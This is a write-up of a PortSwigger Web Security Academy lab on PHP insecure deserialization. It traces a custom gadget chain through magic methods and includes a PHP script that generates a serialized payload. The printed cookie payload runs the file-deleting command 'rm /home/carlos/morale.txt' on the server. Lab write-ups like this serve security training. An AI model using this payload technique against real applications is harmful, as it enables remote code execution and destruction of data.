| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Insecure Deserialization — PHP, Custom Gadget Chain, Magic Method Abuse |
| Difficulty | Expert |
| Objective | Deploy a custom gadget chain via insecure deserialization to achieve RCE and delete morale.txt from Carlos's home directory |
Developing a Custom Gadget Chain for PHP Deserialization¶
I logged in as wiener:peter and decoded the session cookie:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"m247sa9pfc2ucf0kii51xto9jzruterx";}
The page source had a familiar comment:
<!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
The backup file at /cgi-bin/libs/CustomTemplate.php~ returned the full PHP source:
Four classes: CustomTemplate, Product, Description, and DefaultMap. The chain runs entirely through PHP magic methods — none of these require an explicit attacker-controlled call. Each one fires automatically as a consequence of the previous step.
__wakeup() triggers on deserialization and calls build_product(). That creates new Product($this->default_desc_type, $this->desc), whose constructor does $this->desc = $desc->$default_desc_type — accessing $default_desc_type as a property name on $desc. That's where DefaultMap comes in: it defines __get($name), which fires whenever code tries to access a property that doesn't exist on the object, and executes call_user_func($this->callback, $name). With $callback = "exec" and $name set to whatever property was requested, it's a ready-made RCE sink — call_user_func with an attacker-controlled callback can invoke any callable in PHP.
DefaultMap was never used anywhere in the application's normal flow, but a class sitting unused in a codebase can still become a powerful gadget when an attacker can instantiate it through deserialization and chain it with other classes' magic methods.
The payload construction:
- Set
$descto aDefaultMapobject withcallback = "exec" - Set
$default_desc_typeto"rm /home/carlos/morale.txt"
When the chain fires: __wakeup() → build_product() → Product::__construct tries $defaultmap->"rm /home/carlos/morale.txt" → that property doesn't exist → DefaultMap::__get("rm /home/carlos/morale.txt") fires → call_user_func("exec", "rm /home/carlos/morale.txt") executes server-side.
I wrote a PHP script to generate the serialized payload locally, changing private to public to avoid access errors during generation — the server's version will still deserialize correctly since the property names in the serialized string match:
<?php
class CustomTemplate {
public $default_desc_type;
public $desc;
public $product;
// ...
}
class DefaultMap {
public $callback;
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
$obj = new CustomTemplate();
$obj->desc = new DefaultMap("exec");
$obj->default_desc_type = "rm /home/carlos/morale.txt";
echo serialize($obj);
?>
Output:
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
Base64-encoding and injecting as the session cookie:
And that makes the lab solved